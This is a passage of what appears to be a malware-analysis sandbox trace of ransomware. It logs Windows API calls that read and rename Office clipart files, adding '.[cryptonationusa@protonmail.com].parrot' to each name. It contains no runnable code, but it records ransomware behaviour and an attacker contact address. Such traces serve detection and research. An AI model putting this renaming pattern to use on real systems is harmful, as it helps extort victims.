[0153.595] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.595] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9b0, lpOverlapped=0x0) returned 1 [0153.596] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.600] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.600] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.603] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.604] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x634, lpOverlapped=0x0) returned 1 [0153.604] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.608] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.608] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.610] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.610] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2734, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2734, lpOverlapped=0x0) returned 1 [0153.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.618] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.619] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.620] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78a, lpOverlapped=0x0) returned 1 [0153.620] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.624] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.625] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.626] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0153.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0153.630] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.630] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.632] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.632] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x470, lpOverlapped=0x0) returned 1 [0153.632] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0153.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.636] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.637] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.638] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13c4, lpOverlapped=0x0) returned 1 [0153.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.645] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xce8, lpOverlapped=0x0) returned 1 [0153.646] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0153.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.650] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.653] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.654] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x338e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x338e, lpOverlapped=0x0) returned 1 [0153.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.659] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.661] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.661] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b6, lpOverlapped=0x0) returned 1 [0153.661] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.669] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.669] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.670] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbde2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbde2, lpOverlapped=0x0) returned 1 [0153.673] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0153.678] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.678] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.681] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d5e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d5e, lpOverlapped=0x0) returned 1 [0153.682] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.688] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.688] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.733] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.733] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x243c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x243c, lpOverlapped=0x0) returned 1 [0153.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.742] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.742] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.744] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x175a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x175a, lpOverlapped=0x0) returned 1 [0153.744] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.749] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.749] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.751] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.751] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c12, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c12, lpOverlapped=0x0) returned 1 [0153.752] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.[cryptonationusa@protonmail.com].parrot" 